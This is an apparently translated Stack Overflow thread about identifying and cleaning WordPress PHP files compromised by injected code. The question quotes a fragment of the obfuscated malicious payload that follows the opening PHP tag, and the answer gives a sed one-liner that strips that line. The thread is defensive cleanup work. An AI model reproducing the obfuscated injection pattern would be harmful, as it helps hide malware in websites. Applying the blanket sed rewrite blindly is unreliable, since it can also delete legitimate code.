【问题标题】:Identify compromised PHP files识别受损的 PHP 文件
【发布时间】:2016-10-29 01:10:41
【问题描述】:

我正在尝试清理一些之前被泄露的 Word Press .php 文件,可能是通过 MySQL 代码注入。

这些文件的开头是这样的:

<?php$kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x2fvr#  x5cq%7**^#zsfvr#        x5!>>   x22!pd%)!gj}Z;h!opjudovg}{;#)W%c!>!%i   x5c2^<!Ce*[!ode(array_map("opfyigg",str_split("%tjw!>!#]y84]275]y83]248]y83]254ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2jm6<     x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**1!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!     x<*)ujojR       x27id%6<        x7fw6*  x7f_*#ujoj;%-qp%)54l}   x27;%!<*#}_;#)323ldfid>}&;!osvufs}

其中一些在开始标记后有一个空格,例如:

<?php $kjzbobc = '<#65,47R25,d7R17,67R37,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rnunaj); $natxway();}}b*[%h!>!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)

我可以搜索和替换所有打开的 &lt;?php 标记,但这会破坏一些合法文件。

这种 PHP 代码有什么独特之处,可以先被识别,然后再修复吗?我不知道如何描述这段代码......

【问题讨论】:

  • 如何从 wordpress 迁移出来,永远不再使用它? Wordpress 将癌症引入程序员的世界,就像癌症一样,我们(理智的人)仍然无法治愈这种寄生性疾病。第一步实际上是摆脱它。永远。
  • @Nordenheim 实际上,Wordpress 在硬化后很好——我有一个防弹设置,但这是一个从其他人那里继承的旧网站,我的问题是一个编码问题,而不是关于替代方案的询问到 WP。

标签: php shell unix


【解决方案1】:

我一般没有看到在 php 开始标记之后有任何代码的 PHP 文件。如果是这种情况并且您的问题陈述被简化以替换

<?php.*$

<?php

您可以像这样使用带有 find 的 sed 命令命令

find -name \*php | xargs sed -i 's/<?php.*$/<?php/'

您可能想要备份文件并使用 grep 进行一些研究,然后再继续使用 sed 替换原地

【讨论】:

  • 完美,杰,谢谢!这就是我最终使用的:find . -type f -name \*php | xargs sed -i '.bak' 's/&lt;?php.*$/&lt;?php/'
猜你喜欢
  • 1970-01-01
  • 2011-07-29
  • 2018-03-16
  • 2015-02-11
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2022-11-10
相关资源
最近更新 更多